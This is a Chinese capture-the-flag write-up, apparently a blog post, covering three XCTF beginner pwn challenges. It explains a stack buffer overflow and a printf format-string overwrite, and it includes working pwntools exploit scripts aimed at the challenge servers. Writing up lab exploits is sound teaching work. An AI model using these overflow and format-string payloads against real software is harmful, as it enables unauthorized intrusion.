攻防世界pwn小结(一)

get_shell

逆向分析一下,没什么东西

简单的linux指令,即可获得flag

hello_pwn

逆向分析文件

read函数,接收16个字节长,可能存在可以利用的漏洞。然后再判断dword_60106C中的值是否与1853186401相等

由这里看到read读取的长度明显超过unk_601068的长度,覆盖到dword_60106C上,即可执行下一个函数

获得flag,实验一下

payload   aaaaaaun前四个字节是随意填充,nuaa是1853186401的字符,小端序,所以逆置

from pwn import *
context(os = 'linux',arch = 'amd64' ,log_level = 'debug')   # 打印调试信息
content = 0   # 本地Pwn通之后,将content改成0,Pwn远程端口

def main():
    if content == 1:
        io = process("./hello_pwn")   # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 54405)   # 题目的远程端口

    payload = b'a' * (0x60106C - 0x601068) + p64(1853186401)

    io.recvuntil("lets get helloworld for bof\n")
    io.sendline(payload)

    io.interactive()

main()

同样获得flag

CGfsb

根据提示,printf,所以问题有可能就出在printf里面,是一个格式化字符串漏洞,例如,输出一个整型的a,printf("%d,a"),如果省略format部分,仅为printf(a),可见https://ciphersaw.me/ctf-wiki/pwn/linux/fmtstr/fmtstr_intro/

就是pwnme的值等于8,即可pwn成功。

就是利用格式化字符串漏洞,使pwnme的值为8即可。

攻防世界PWN题 CGfsb - 愚人呀 - 博客园

exp:

from pwn import *
context(os = 'linux',arch = 'amd64' ,log_level = 'debug')   # 打印调试信息
content = 0   # 本地Pwn通之后,将content改成0,Pwn远程端口

def main():
    if content == 1:
        io = process("./CGfsb")   # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 63241)   # 题目的远程端口

    io.recvuntil("please tell me your name:\n")
    io.sendline("1")
    io.recvuntil("leave your message please:\n")
    io.sendline(p32(0x0804A068) + b'aaaa' + b'%10$n')

    io.interactive()

main()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值